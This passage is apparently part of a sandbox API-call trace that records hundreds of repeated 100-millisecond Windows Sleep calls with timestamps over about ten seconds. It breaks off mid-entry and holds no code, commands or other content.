[0249.050] Sleep (dwMilliseconds=0x64) [0249.066] Sleep (dwMilliseconds=0x64) [0249.081] Sleep (dwMilliseconds=0x64) [0249.097] Sleep (dwMilliseconds=0x64) [0249.112] Sleep (dwMilliseconds=0x64) [0249.128] Sleep (dwMilliseconds=0x64) [0249.144] Sleep (dwMilliseconds=0x64) [0249.159] Sleep (dwMilliseconds=0x64) [0249.175] Sleep (dwMilliseconds=0x64) [0249.190] Sleep (dwMilliseconds=0x64) [0249.206] Sleep (dwMilliseconds=0x64) [0249.225] Sleep (dwMilliseconds=0x64) [0249.238] Sleep (dwMilliseconds=0x64) [0249.253] Sleep (dwMilliseconds=0x64) [0249.269] Sleep (dwMilliseconds=0x64) [0249.284] Sleep (dwMilliseconds=0x64) [0249.300] Sleep (dwMilliseconds=0x64) [0249.315] Sleep (dwMilliseconds=0x64) [0249.341] Sleep (dwMilliseconds=0x64) [0249.346] Sleep (dwMilliseconds=0x64) [0249.362] Sleep (dwMilliseconds=0x64) [0249.378] Sleep (dwMilliseconds=0x64) [0249.393] Sleep (dwMilliseconds=0x64) [0249.409] Sleep (dwMilliseconds=0x64) [0249.424] Sleep (dwMilliseconds=0x64) [0249.440] Sleep (dwMilliseconds=0x64) [0249.458] Sleep (dwMilliseconds=0x64) [0249.471] Sleep (dwMilliseconds=0x64) [0249.487] Sleep (dwMilliseconds=0x64) [0249.503] Sleep (dwMilliseconds=0x64) [0249.518] Sleep (dwMilliseconds=0x64) [0249.534] Sleep (dwMilliseconds=0x64) [0249.550] Sleep (dwMilliseconds=0x64) [0249.565] Sleep (dwMilliseconds=0x64) [0249.587] Sleep (dwMilliseconds=0x64) [0249.596] Sleep (dwMilliseconds=0x64) [0249.612] Sleep (dwMilliseconds=0x64) [0249.627] Sleep (dwMilliseconds=0x64) [0249.643] Sleep (dwMilliseconds=0x64) [0249.658] Sleep (dwMilliseconds=0x64) [0249.674] Sleep (dwMilliseconds=0x64) [0249.690] Sleep (dwMilliseconds=0x64) [0249.705] Sleep (dwMilliseconds=0x64) [0249.721] Sleep (dwMilliseconds=0x64) [0249.736] Sleep (dwMilliseconds=0x64) [0249.752] Sleep (dwMilliseconds=0x64) [0249.768] Sleep (dwMilliseconds=0x64) [0249.783] Sleep (dwMilliseconds=0x64) [0249.799] Sleep (dwMilliseconds=0x64) [0249.816] Sleep (dwMilliseconds=0x64) [0249.830] Sleep (dwMilliseconds=0x64) [0249.846] Sleep (dwMilliseconds=0x64) [0249.861] Sleep (dwMilliseconds=0x64) [0249.877] Sleep (dwMilliseconds=0x64) [0249.906] Sleep (dwMilliseconds=0x64) [0249.908] Sleep (dwMilliseconds=0x64) [0249.923] Sleep (dwMilliseconds=0x64) [0249.939] Sleep (dwMilliseconds=0x64) [0249.955] Sleep (dwMilliseconds=0x64) [0249.970] Sleep (dwMilliseconds=0x64) [0249.986] Sleep (dwMilliseconds=0x64) [0250.001] Sleep (dwMilliseconds=0x64) [0250.017] Sleep (dwMilliseconds=0x64) [0250.033] Sleep (dwMilliseconds=0x64) [0250.051] Sleep (dwMilliseconds=0x64) [0250.064] Sleep (dwMilliseconds=0x64) [0250.080] Sleep (dwMilliseconds=0x64) [0250.095] Sleep (dwMilliseconds=0x64) [0250.111] Sleep (dwMilliseconds=0x64) [0250.127] Sleep (dwMilliseconds=0x64) [0250.142] Sleep (dwMilliseconds=0x64) [0250.158] Sleep (dwMilliseconds=0x64) [0250.173] Sleep (dwMilliseconds=0x64) [0250.189] Sleep (dwMilliseconds=0x64) [0250.205] Sleep (dwMilliseconds=0x64) [0250.220] Sleep (dwMilliseconds=0x64) [0250.239] Sleep (dwMilliseconds=0x64) [0250.251] Sleep (dwMilliseconds=0x64) [0250.267] Sleep (dwMilliseconds=0x64) [0250.282] Sleep (dwMilliseconds=0x64) [0250.299] Sleep (dwMilliseconds=0x64) [0250.314] Sleep (dwMilliseconds=0x64) [0250.339] Sleep (dwMilliseconds=0x64) [0250.345] Sleep (dwMilliseconds=0x64) [0250.360] Sleep (dwMilliseconds=0x64) [0250.376] Sleep (dwMilliseconds=0x64) [0250.392] Sleep (dwMilliseconds=0x64) [0250.407] Sleep (dwMilliseconds=0x64) [0250.423] Sleep (dwMilliseconds=0x64) [0250.438] Sleep (dwMilliseconds=0x64) [0250.454] Sleep (dwMilliseconds=0x64) [0250.470] Sleep (dwMilliseconds=0x64) [0250.485] Sleep (dwMilliseconds=0x64) [0250.501] Sleep (dwMilliseconds=0x64) [0250.517] Sleep (dwMilliseconds=0x64) [0250.532] Sleep (dwMilliseconds=0x64) [0250.548] Sleep (dwMilliseconds=0x64) [0250.567] Sleep (dwMilliseconds=0x64) [0250.579] Sleep (dwMilliseconds=0x64) [0250.594] Sleep (dwMilliseconds=0x64) [0250.610] Sleep (dwMilliseconds=0x64) [0250.626] Sleep (dwMilliseconds=0x64) [0250.642] Sleep (dwMilliseconds=0x64) [0250.657] Sleep (dwMilliseconds=0x64) [0250.673] Sleep (dwMilliseconds=0x64) [0250.688] Sleep (dwMilliseconds=0x64) [0250.704] Sleep (dwMilliseconds=0x64) [0250.719] Sleep (dwMilliseconds=0x64) [0250.735] Sleep (dwMilliseconds=0x64) [0250.750] Sleep (dwMilliseconds=0x64) [0250.766] Sleep (dwMilliseconds=0x64) [0250.782] Sleep (dwMilliseconds=0x64) [0250.797] Sleep (dwMilliseconds=0x64) [0250.813] Sleep (dwMilliseconds=0x64) [0250.829] Sleep (dwMilliseconds=0x64) [0250.844] Sleep (dwMilliseconds=0x64) [0250.861] Sleep (dwMilliseconds=0x64) [0250.875] Sleep (dwMilliseconds=0x64) [0250.891] Sleep (dwMilliseconds=0x64) [0250.919] Sleep (dwMilliseconds=0x64) [0250.922] Sleep (dwMilliseconds=0x64) [0250.938] Sleep (dwMilliseconds=0x64) [0250.954] Sleep (dwMilliseconds=0x64) [0250.969] Sleep (dwMilliseconds=0x64) [0250.984] Sleep (dwMilliseconds=0x64) [0251.005] Sleep (dwMilliseconds=0x64) [0251.016] Sleep (dwMilliseconds=0x64) [0251.031] Sleep (dwMilliseconds=0x64) [0251.047] Sleep (dwMilliseconds=0x64) [0251.062] Sleep (dwMilliseconds=0x64) [0251.078] Sleep (dwMilliseconds=0x64) [0251.096] Sleep (dwMilliseconds=0x64) [0251.109] Sleep (dwMilliseconds=0x64) [0251.127] Sleep (dwMilliseconds=0x64) [0251.141] Sleep (dwMilliseconds=0x64) [0251.159] Sleep (dwMilliseconds=0x64) [0251.172] Sleep (dwMilliseconds=0x64) [0251.187] Sleep (dwMilliseconds=0x64) [0251.203] Sleep (dwMilliseconds=0x64) [0251.219] Sleep (dwMilliseconds=0x64) [0251.234] Sleep (dwMilliseconds=0x64) [0251.250] Sleep (dwMilliseconds=0x64) [0251.265] Sleep (dwMilliseconds=0x64) [0251.281] Sleep (dwMilliseconds=0x64) [0251.298] Sleep (dwMilliseconds=0x64) [0251.312] Sleep (dwMilliseconds=0x64) [0251.342] Sleep (dwMilliseconds=0x64) [0251.343] Sleep (dwMilliseconds=0x64) [0251.359] Sleep (dwMilliseconds=0x64) [0251.374] Sleep (dwMilliseconds=0x64) [0251.390] Sleep (dwMilliseconds=0x64) [0251.405] Sleep (dwMilliseconds=0x64) [0251.421] Sleep (dwMilliseconds=0x64) [0251.437] Sleep (dwMilliseconds=0x64) [0251.453] Sleep (dwMilliseconds=0x64) [0251.468] Sleep (dwMilliseconds=0x64) [0251.484] Sleep (dwMilliseconds=0x64) [0251.503] Sleep (dwMilliseconds=0x64) [0251.515] Sleep (dwMilliseconds=0x64) [0251.532] Sleep (dwMilliseconds=0x64) [0251.546] Sleep (dwMilliseconds=0x64) [0251.562] Sleep (dwMilliseconds=0x64) [0251.578] Sleep (dwMilliseconds=0x64) [0251.593] Sleep (dwMilliseconds=0x64) [0251.609] Sleep (dwMilliseconds=0x64) [0251.624] Sleep (dwMilliseconds=0x64) [0251.640] Sleep (dwMilliseconds=0x64) [0251.655] Sleep (dwMilliseconds=0x64) [0251.671] Sleep (dwMilliseconds=0x64) [0251.687] Sleep (dwMilliseconds=0x64) [0251.702] Sleep (dwMilliseconds=0x64) [0251.718] Sleep (dwMilliseconds=0x64) [0251.733] Sleep (dwMilliseconds=0x64) [0251.749] Sleep (dwMilliseconds=0x64) [0251.765] Sleep (dwMilliseconds=0x64) [0251.780] Sleep (dwMilliseconds=0x64) [0251.796] Sleep (dwMilliseconds=0x64) [0251.811] Sleep (dwMilliseconds=0x64) [0251.827] Sleep (dwMilliseconds=0x64) [0251.843] Sleep (dwMilliseconds=0x64) [0251.858] Sleep (dwMilliseconds=0x64) [0251.874] Sleep (dwMilliseconds=0x64) [0251.890] Sleep (dwMilliseconds=0x64) [0251.920] Sleep (dwMilliseconds=0x64) [0251.920] Sleep (dwMilliseconds=0x64) [0251.936] Sleep (dwMilliseconds=0x64) [0251.953] Sleep (dwMilliseconds=0x64) [0251.967] Sleep (dwMilliseconds=0x64) [0251.983] Sleep (dwMilliseconds=0x64) [0251.999] Sleep (dwMilliseconds=0x64) [0252.014] Sleep (dwMilliseconds=0x64) [0252.030] Sleep (dwMilliseconds=0x64) [0252.045] Sleep (dwMilliseconds=0x64) [0252.064] Sleep (dwMilliseconds=0x64) [0252.077] Sleep (dwMilliseconds=0x64) [0252.092] Sleep (dwMilliseconds=0x64) [0252.108] Sleep (dwMilliseconds=0x64) [0252.123] Sleep (dwMilliseconds=0x64) [0252.139] Sleep (dwMilliseconds=0x64) [0252.154] Sleep (dwMilliseconds=0x64) [0252.170] Sleep (dwMilliseconds=0x64) [0252.186] Sleep (dwMilliseconds=0x64) [0252.201] Sleep (dwMilliseconds=0x64) [0252.217] Sleep (dwMilliseconds=0x64) [0252.232] Sleep (dwMilliseconds=0x64) [0252.251] Sleep (dwMilliseconds=0x64) [0252.264] Sleep (dwMilliseconds=0x64) [0252.279] Sleep (dwMilliseconds=0x64) [0252.295] Sleep (dwMilliseconds=0x64) [0252.310] Sleep (dwMilliseconds=0x64) [0252.326] Sleep (dwMilliseconds=0x64) [0252.353] Sleep (dwMilliseconds=0x64) [0252.360] Sleep (dwMilliseconds=0x64) [0252.373] Sleep (dwMilliseconds=0x64) [0252.389] Sleep (dwMilliseconds=0x64) [0252.422] Sleep (dwMilliseconds=0x64) [0252.436] Sleep (dwMilliseconds=0x64) [0252.451] Sleep (dwMilliseconds=0x64) [0252.466] Sleep (dwMilliseconds=0x64) [0252.484] Sleep (dwMilliseconds=0x64) [0252.498] Sleep (dwMilliseconds=0x64) [0252.513] Sleep (dwMilliseconds=0x64) [0252.529] Sleep (dwMilliseconds=0x64) [0252.545] Sleep (dwMilliseconds=0x64) [0252.560] Sleep (dwMilliseconds=0x64) [0252.576] Sleep (dwMilliseconds=0x64) [0252.591] Sleep (dwMilliseconds=0x64) [0252.616] Sleep (dwMilliseconds=0x64) [0252.622] Sleep (dwMilliseconds=0x64) [0252.638] Sleep (dwMilliseconds=0x64) [0252.654] Sleep (dwMilliseconds=0x64) [0252.669] Sleep (dwMilliseconds=0x64) [0252.686] Sleep (dwMilliseconds=0x64) [0252.700] Sleep (dwMilliseconds=0x64) [0252.717] Sleep (dwMilliseconds=0x64) [0252.732] Sleep (dwMilliseconds=0x64) [0252.747] Sleep (dwMilliseconds=0x64) [0252.763] Sleep (dwMilliseconds=0x64) [0252.779] Sleep (dwMilliseconds=0x64) [0252.794] Sleep (dwMilliseconds=0x64) [0252.810] Sleep (dwMilliseconds=0x64) [0252.825] Sleep (dwMilliseconds=0x64) [0252.842] Sleep (dwMilliseconds=0x64) [0252.856] Sleep (dwMilliseconds=0x64) [0252.872] Sleep (dwMilliseconds=0x64) [0252.888] Sleep (dwMilliseconds=0x64) [0252.903] Sleep (dwMilliseconds=0x64) [0252.934] Sleep (dwMilliseconds=0x64) [0252.934] Sleep (dwMilliseconds=0x64) [0252.950] Sleep (dwMilliseconds=0x64) [0252.966] Sleep (dwMilliseconds=0x64) [0252.982] Sleep (dwMilliseconds=0x64) [0252.997] Sleep (dwMilliseconds=0x64) [0253.012] Sleep (dwMilliseconds=0x64) [0253.028] Sleep (dwMilliseconds=0x64) [0253.044] Sleep (dwMilliseconds=0x64) [0253.059] Sleep (dwMilliseconds=0x64) [0253.075] Sleep (dwMilliseconds=0x64) [0253.091] Sleep (dwMilliseconds=0x64) [0253.106] Sleep (dwMilliseconds=0x64) [0253.122] Sleep (dwMilliseconds=0x64) [0253.137] Sleep (dwMilliseconds=0x64) [0253.153] Sleep (dwMilliseconds=0x64) [0253.168] Sleep (dwMilliseconds=0x64) [0253.184] Sleep (dwMilliseconds=0x64) [0253.200] Sleep (dwMilliseconds=0x64) [0253.215] Sleep (dwMilliseconds=0x64) [0253.231] Sleep (dwMilliseconds=0x64) [0253.246] Sleep (dwMilliseconds=0x64) [0253.265] Sleep (dwMilliseconds=0x64) [0253.278] Sleep (dwMilliseconds=0x64) [0253.293] Sleep (dwMilliseconds=0x64) [0253.309] Sleep (dwMilliseconds=0x64) [0253.324] Sleep (dwMilliseconds=0x64) [0253.340] Sleep (dwMilliseconds=0x64) [0253.367] Sleep (dwMilliseconds=0x64) [0253.371] Sleep (dwMilliseconds=0x64) [0253.387] Sleep (dwMilliseconds=0x64) [0253.403] Sleep (dwMilliseconds=0x64) [0253.418] Sleep (dwMilliseconds=0x64) [0253.434] Sleep (dwMilliseconds=0x64) [0253.449] Sleep (dwMilliseconds=0x64) [0253.465] Sleep (dwMilliseconds=0x64) [0253.480] Sleep (dwMilliseconds=0x64) [0253.501] Sleep (dwMilliseconds=0x64) [0253.512] Sleep (dwMilliseconds=0x64) [0253.528] Sleep (dwMilliseconds=0x64) [0253.543] Sleep (dwMilliseconds=0x64) [0253.558] Sleep (dwMilliseconds=0x64) [0253.574] Sleep (dwMilliseconds=0x64) [0253.590] Sleep (dwMilliseconds=0x64) [0253.605] Sleep (dwMilliseconds=0x64) [0253.629] Sleep (dwMilliseconds=0x64) [0253.636] Sleep (dwMilliseconds=0x64) [0253.652] Sleep (dwMilliseconds=0x64) [0253.668] Sleep (dwMilliseconds=0x64) [0253.684] Sleep (dwMilliseconds=0x64) [0253.699] Sleep (dwMilliseconds=0x64) [0253.715] Sleep (dwMilliseconds=0x64) [0253.730] Sleep (dwMilliseconds=0x64) [0253.746] Sleep (dwMilliseconds=0x64) [0253.761] Sleep (dwMilliseconds=0x64) [0253.777] Sleep (dwMilliseconds=0x64) [0253.792] Sleep (dwMilliseconds=0x64) [0253.808] Sleep (dwMilliseconds=0x64) [0253.824] Sleep (dwMilliseconds=0x64) [0253.840] Sleep (dwMilliseconds=0x64) [0253.855] Sleep (dwMilliseconds=0x64) [0253.870] Sleep (dwMilliseconds=0x64) [0253.886] Sleep (dwMilliseconds=0x64) [0253.904] Sleep (dwMilliseconds=0x64) [0253.917] Sleep (dwMilliseconds=0x64) [0253.946] Sleep (dwMilliseconds=0x64) [0253.949] Sleep (dwMilliseconds=0x64) [0253.964] Sleep (dwMilliseconds=0x64) [0253.979] Sleep (dwMilliseconds=0x64) [0253.995] Sleep (dwMilliseconds=0x64) [0254.011] Sleep (dwMilliseconds=0x64) [0254.027] Sleep (dwMilliseconds=0x64) [0254.042] Sleep (dwMilliseconds=0x64) [0254.058] Sleep (dwMilliseconds=0x64) [0254.073] Sleep (dwMilliseconds=0x64) [0254.099] Sleep (dwMilliseconds=0x64) [0254.104] Sleep (dwMilliseconds=0x64) [0254.120] Sleep (dwMilliseconds=0x64) [0254.135] Sleep (dwMilliseconds=0x64) [0254.151] Sleep (dwMilliseconds=0x64) [0254.167] Sleep (dwMilliseconds=0x64) [0254.182] Sleep (dwMilliseconds=0x64) [0254.198] Sleep (dwMilliseconds=0x64) [0254.214] Sleep (dwMilliseconds=0x64) [0254.229] Sleep (dwMilliseconds=0x64) [0254.247] Sleep (dwMilliseconds=0x64) [0254.260] Sleep (dwMilliseconds=0x64) [0254.276] Sleep (dwMilliseconds=0x64) [0254.292] Sleep (dwMilliseconds=0x64) [0254.307] Sleep (dwMilliseconds=0x64) [0254.323] Sleep (dwMilliseconds=0x64) [0254.339] Sleep (dwMilliseconds=0x64) [0254.365] Sleep (dwMilliseconds=0x64) [0254.370] Sleep (dwMilliseconds=0x64) [0254.385] Sleep (dwMilliseconds=0x64) [0254.401] Sleep (dwMilliseconds=0x64) [0254.416] Sleep (dwMilliseconds=0x64) [0254.432] Sleep (dwMilliseconds=0x64) [0254.447] Sleep (dwMilliseconds=0x64) [0254.463] Sleep (dwMilliseconds=0x64) [0254.479] Sleep (dwMilliseconds=0x64) [0254.495] Sleep (dwMilliseconds=0x64) [0254.510] Sleep (dwMilliseconds=0x64) [0254.526] Sleep (dwMilliseconds=0x64) [0254.541] Sleep (dwMilliseconds=0x64) [0254.561] Sleep (dwMilliseconds=0x64) [0254.572] Sleep (dwMilliseconds=0x64) [0254.588] Sleep (dwMilliseconds=0x64) [0254.605] Sleep (dwMilliseconds=0x64) [0254.619] Sleep (dwMilliseconds=0x64) [0254.635] Sleep (dwMilliseconds=0x64) [0254.651] Sleep (dwMilliseconds=0x64) [0254.666] Sleep (dwMilliseconds=0x64) [0254.682] Sleep (dwMilliseconds=0x64) [0254.697] Sleep (dwMilliseconds=0x64) [0254.713] Sleep (dwMilliseconds=0x64) [0254.728] Sleep (dwMilliseconds=0x64) [0254.745] Sleep (dwMilliseconds=0x64) [0254.760] Sleep (dwMilliseconds=0x64) [0254.775] Sleep (dwMilliseconds=0x64) [0254.791] Sleep (dwMilliseconds=0x64) [0254.806] Sleep (dwMilliseconds=0x64) [0254.822] Sleep (dwMilliseconds=0x64) [0254.839] Sleep (dwMilliseconds=0x64) [0254.853] Sleep (dwMilliseconds=0x64) [0254.869] Sleep (dwMilliseconds=0x64) [0254.884] Sleep (dwMilliseconds=0x64) [0254.900] Sleep (dwMilliseconds=0x64) [0254.916] Sleep (dwMilliseconds=0x64) [0254.931] Sleep (dwMilliseconds=0x64) [0254.961] Sleep (dwMilliseconds=0x64) [0254.963] Sleep (dwMilliseconds=0x64) [0254.978] Sleep (dwMilliseconds=0x64) [0254.994] Sleep (dwMilliseconds=0x64) [0255.009] Sleep (dwMilliseconds=0x64) [0255.025] Sleep (dwMilliseconds=0x64) [0255.041] Sleep (dwMilliseconds=0x64) [0255.056] Sleep (dwMilliseconds=0x64) [0255.072] Sleep (dwMilliseconds=0x64) [0255.088] Sleep (dwMilliseconds=0x64) [0255.104] Sleep (dwMilliseconds=0x64) [0255.118] Sleep (dwMilliseconds=0x64) [0255.135] Sleep (dwMilliseconds=0x64) [0255.150] Sleep (dwMilliseconds=0x64) [0255.166] Sleep (dwMilliseconds=0x64) [0255.181] Sleep (dwMilliseconds=0x64) [0255.198] Sleep (dwMilliseconds=0x64) [0255.212] Sleep (dwMilliseconds=0x64) [0255.231] Sleep (dwMilliseconds=0x64) [0255.243] Sleep (dwMilliseconds=0x64) [0255.259] Sleep (dwMilliseconds=0x64) [0255.275] Sleep (dwMilliseconds=0x64) [0255.290] Sleep (dwMilliseconds=0x64) [0255.306] Sleep (dwMilliseconds=0x64) [0255.321] Sleep (dwMilliseconds=0x64) [0255.337] Sleep (dwMilliseconds=0x64) [0255.361] Sleep (dwMilliseconds=0x64) [0255.368] Sleep (dwMilliseconds=0x64) [0255.384] Sleep (dwMilliseconds=0x64) [0255.399] Sleep (dwMilliseconds=0x64) [0255.415] Sleep (dwMilliseconds=0x64) [0255.431] Sleep (dwMilliseconds=0x64) [0255.446] Sleep (dwMilliseconds=0x64) [0255.462] Sleep (dwMilliseconds=0x64) [0255.477] Sleep (dwMilliseconds=0x64) [0255.495] Sleep (dwMilliseconds=0x64) [0255.508] Sleep (dwMilliseconds=0x64) [0255.524] Sleep (dwMilliseconds=0x64) [0255.540] Sleep (dwMilliseconds=0x64) [0255.555] Sleep (dwMilliseconds=0x64) [0255.571] Sleep (dwMilliseconds=0x64) [0255.586] Sleep (dwMilliseconds=0x64) [0255.602] Sleep (dwMilliseconds=0x64) [0255.618] Sleep (dwMilliseconds=0x64) [0255.633] Sleep (dwMilliseconds=0x64) [0255.650] Sleep (dwMilliseconds=0x64) [0255.664] Sleep (dwMilliseconds=0x64) [0255.680] Sleep (dwMilliseconds=0x64) [0255.696] Sleep (dwMilliseconds=0x64) [0255.711] Sleep (dwMilliseconds=0x64) [0255.727] Sleep (dwMilliseconds=0x64) [0255.742] Sleep (dwMilliseconds=0x64) [0255.758] Sleep (dwMilliseconds=0x64) [0255.774] Sleep (dwMilliseconds=0x64) [0255.790] Sleep (dwMilliseconds=0x64) [0255.805] Sleep (dwMilliseconds=0x64) [0255.820] Sleep (dwMilliseconds=0x64) [0255.836] Sleep (dwMilliseconds=0x64) [0255.852] Sleep (dwMilliseconds=0x64) [0255.867] Sleep (dwMilliseconds=0x64) [0255.883] Sleep (dwMilliseconds=0x64) [0255.899] Sleep (dwMilliseconds=0x64) [0255.914] Sleep (dwMilliseconds=0x64) [0255.930] Sleep (dwMilliseconds=0x64) [0255.946] Sleep (dwMilliseconds=0x64) [0255.961] Sleep (dwMilliseconds=0x64) [0255.976] Sleep (dwMilliseconds=0x64) [0255.992] Sleep (dwMilliseconds=0x64) [0256.008] Sleep (dwMilliseconds=0x64) [0256.023] Sleep (dwMilliseconds=0x64) [0256.040] Sleep (dwMilliseconds=0x64) [0256.055] Sleep (dwMilliseconds=0x64) [0256.070] Sleep (dwMilliseconds=0x64) [0256.086] Sleep (dwMilliseconds=0x64) [0256.124] Sleep (dwMilliseconds=0x64) [0256.132] Sleep (dwMilliseconds=0x64) [0256.148] Sleep (dwMilliseconds=0x64) [0256.164] Sleep (dwMilliseconds=0x64) [0256.179] Sleep (dwMilliseconds=0x64) [0256.195] Sleep (dwMilliseconds=0x64) [0256.211] Sleep (dwMilliseconds=0x64) [0256.226] Sleep (dwMilliseconds=0x64) [0256.242] Sleep (dwMilliseconds=0x64) [0256.257] Sleep (dwMilliseconds=0x64) [0256.273] Sleep (dwMilliseconds=0x64) [0256.289] Sleep (dwMilliseconds=0x64) [0256.304] Sleep (dwMilliseconds=0x64) [0256.320] Sleep (dwMilliseconds=0x64) [0256.336] Sleep (dwMilliseconds=0x64) [0256.362] Sleep (dwMilliseconds=0x64) [0256.366] Sleep (dwMilliseconds=0x64) [0256.382] Sleep (dwMilliseconds=0x64) [0256.398] Sleep (dwMilliseconds=0x64) [0256.413] Sleep (dwMilliseconds=0x64) [0256.432] Sleep (dwMilliseconds=0x64) [0256.445] Sleep (dwMilliseconds=0x64) [0256.460] Sleep (dwMilliseconds=0x64) [0256.476] Sleep (dwMilliseconds=0x64) [0256.491] Sleep (dwMilliseconds=0x64) [0256.507] Sleep (dwMilliseconds=0x64) [0256.523] Sleep (dwMilliseconds=0x64) [0256.538] Sleep (dwMilliseconds=0x64) [0256.557] Sleep (dwMilliseconds=0x64) [0256.569] Sleep (dwMilliseconds=0x64) [0256.585] Sleep (dwMilliseconds=0x64) [0256.600] Sleep (dwMilliseconds=0x64) [0256.616] Sleep (dwMilliseconds=0x64) [0256.632] Sleep (dwMilliseconds=0x64) [0256.647] Sleep (dwMilliseconds=0x64) [0256.664] Sleep (dwMilliseconds=0x64) [0256.679] Sleep (dwMilliseconds=0x64) [0256.698] Sleep (dwMilliseconds=0x64) [0256.710] Sleep (dwMilliseconds=0x64) [0256.725] Sleep (dwMilliseconds=0x64) [0256.742] Sleep (dwMilliseconds=0x64) [0256.756] Sleep (dwMilliseconds=0x64) [0256.772] Sleep (dwMilliseconds=0x64) [0256.788] Sleep (dwMilliseconds=0x64) [0256.803] Sleep (dwMilliseconds=0x64) [0256.819] Sleep (dwMilliseconds=0x64) [0256.835] Sleep (dwMilliseconds=0x64) [0256.850] Sleep (dwMilliseconds=0x64) [0256.866] Sleep (dwMilliseconds=0x64) [0256.881] Sleep (dwMilliseconds=0x64) [0256.898] Sleep (dwMilliseconds=0x64) [0256.912] Sleep (dwMilliseconds=0x64) [0256.928] Sleep (dwMilliseconds=0x64) [0256.944] Sleep (dwMilliseconds=0x64) [0256.975] Sleep (dwMilliseconds=0x64) [0256.991] Sleep (dwMilliseconds=0x64) [0257.008] Sleep (dwMilliseconds=0x64) [0257.022] Sleep (dwMilliseconds=0x64) [0257.037] Sleep (dwMilliseconds=0x64) [0257.053] Sleep (dwMilliseconds=0x64) [0257.069] Sleep (dwMilliseconds=0x64) [0257.084] Sleep (dwMilliseconds=0x64) [0257.100] Sleep (dwMilliseconds=0x64) [0257.115] Sleep (dwMilliseconds=0x64) [0257.131] Sleep (dwMilliseconds=0x64) [0257.146] Sleep (dwMilliseconds=0x64) [0257.162] Sleep (dwMilliseconds=0x64) [0257.178] Sleep (dwMilliseconds=0x64) [0257.193] Sleep (dwMilliseconds=0x64) [0257.210] Sleep (dwMilliseconds=0x64) [0257.225] Sleep (dwMilliseconds=0x64) [0257.240] Sleep (dwMilliseconds=0x64) [0257.256] Sleep (dwMilliseconds=0x64) [0257.271] Sleep (dwMilliseconds=0x64) [0257.287] Sleep (dwMilliseconds=0x64) [0257.305] Sleep (dwMilliseconds=0x64) [0257.318] Sleep (dwMilliseconds=0x64) [0257.334] Sleep (dwMilliseconds=0x64) [0257.358] Sleep (dwMilliseconds=0x64) [0257.365] Sleep (dwMilliseconds=0x64) [0257.380] Sleep (dwMilliseconds=0x64) [0257.396] Sleep (dwMilliseconds=0x64) [0257.414] Sleep (dwMilliseconds=0x64) [0257.427] Sleep (dwMilliseconds=0x64) [0257.443] Sleep (dwMilliseconds=0x64) [0257.458] Sleep (dwMilliseconds=0x64) [0257.474] Sleep (dwMilliseconds=0x64) [0257.492] Sleep (dwMilliseconds=0x64) [0257.505] Sleep (dwMilliseconds=0x64) [0257.521] Sleep (dwMilliseconds=0x64) [0257.537] Sleep (dwMilliseconds=0x64) [0257.552] Sleep (dwMilliseconds=0x64) [0257.568] Sleep (dwMilliseconds=0x64) [0257.583] Sleep (dwMilliseconds=0x64) [0257.599] Sleep (dwMilliseconds=0x64) [0257.614] Sleep (dwMilliseconds=0x64) [0257.630] Sleep (dwMilliseconds=0x64) [0257.646] Sleep (dwMilliseconds=0x64) [0257.666] Sleep (dwMilliseconds=0x64) [0257.677] Sleep (dwMilliseconds=0x64) [0257.693] Sleep (dwMilliseconds=0x64) [0257.708] Sleep (dwMilliseconds=0x64) [0257.724] Sleep (dwMilliseconds=0x64) [0257.739] Sleep (dwMilliseconds=0x64) [0257.756] Sleep (dwMilliseconds=0x64) [0257.772] Sleep (dwMilliseconds=0x64) [0257.786] Sleep (dwMilliseconds=0x64) [0257.802] Sleep (dwMilliseconds=0x64) [0257.818] Sleep (dwMilliseconds=0x64) [0257.833] Sleep (dwMilliseconds=0x64) [0257.849] Sleep (dwMilliseconds=0x64) [0257.864] Sleep (dwMilliseconds=0x64) [0257.881] Sleep (dwMilliseconds=0x64) [0257.895] Sleep (dwMilliseconds=0x64) [0257.911] Sleep (dwMilliseconds=0x64) [0257.926] Sleep (dwMilliseconds=0x64) [0257.942] Sleep (dwMilliseconds=0x64) [0257.960] Sleep (dwMilliseconds=0x64) [0257.988] Sleep (dwMilliseconds=0x64) [0257.989] Sleep (dwMilliseconds=0x64) [0258.004] Sleep (dwMilliseconds=0x64) [0258.020] Sleep (dwMilliseconds=0x64) [0258.036] Sleep (dwMilliseconds=0x64) [0258.054] Sleep (dwMilliseconds=0x64) [0258.067] Sleep (dwMilliseconds=0x64) [0258.083] Sleep (dwMilliseconds=0x64) [0258.098] Sleep (dwMilliseconds=0x64) [0258.127] Sleep (dwMilliseconds=0x64) [0258.130] Sleep (dwMilliseconds=0x64) [0258.145] Sleep (dwMilliseconds=0x64) [0258.161] Sleep (dwMilliseconds=0x64) [0258.176] Sleep (dwMilliseconds=0x64) [0258.195] Sleep (dwMilliseconds=0x64) [0258.208] Sleep (dwMilliseconds=0x64) [0258.226] Sleep (dwMilliseconds=0x64) [0258.238] Sleep (dwMilliseconds=0x64) [0258.254] Sleep (dwMilliseconds=0x64) [0258.270] Sleep (dwMilliseconds=0x64) [0258.287] Sleep (dwMilliseconds=0x64) [0258.301] Sleep (dwMilliseconds=0x64) [0258.317] Sleep (dwMilliseconds=0x64) [0258.332] Sleep (dwMilliseconds=0x64) [0258.360] Sleep (dwMilliseconds=0x64) [0258.363] Sleep (dwMilliseconds=0x64) [0258.379] Sleep (dwMilliseconds=0x64) [0258.395] Sleep (dwMilliseconds=0x64) [0258.410] Sleep (dwMilliseconds=0x64) [0258.426] Sleep (dwMilliseconds=0x64) [0258.441] Sleep (dwMilliseconds=0x64) [0258.457] Sleep (dwMilliseconds=0x64) [0258.472] Sleep (dwMilliseconds=0x64) [0258.488] Sleep (dwMilliseconds=0x64) [0258.504] Sleep (dwMilliseconds=0x64) [0258.519] Sleep (dwMilliseconds=0x64) [0258.535] Sleep (dwMilliseconds=0x64) [0258.550] Sleep (dwMilliseconds=0x64) [0258.566] Sleep (dwMilliseconds=0x64) [0258.582] Sleep (dwMilliseconds=0x64) [0258.598] Sleep (dwMilliseconds=0x64) [0258.613] Sleep (dwMilliseconds=0x64) [0258.628] Sleep (dwMilliseconds=0x64) [0258.644] Sleep (dwMilliseconds=0x64) [0258.660] Sleep (dwMilliseconds=0x64) [0258.675] Sleep (dwMilliseconds=0x64) [0258.691] Sleep (dwMilliseconds=0x64) [0258.706] Sleep (dwMilliseconds=0x64) [0258.723] Sleep (dwMilliseconds=0x64) [0258.738] Sleep (dwMilliseconds=0x64) [0258.754] Sleep (dwMilliseconds=0x64) [0258.769] Sleep (dwMilliseconds=0x64) [0258.785] Sleep (dwMilliseconds=0x64) [0258.800] Sleep (dwMilliseconds=0x64) [0258.816] Sleep (dwMilliseconds=0x64) [0258.832] Sleep 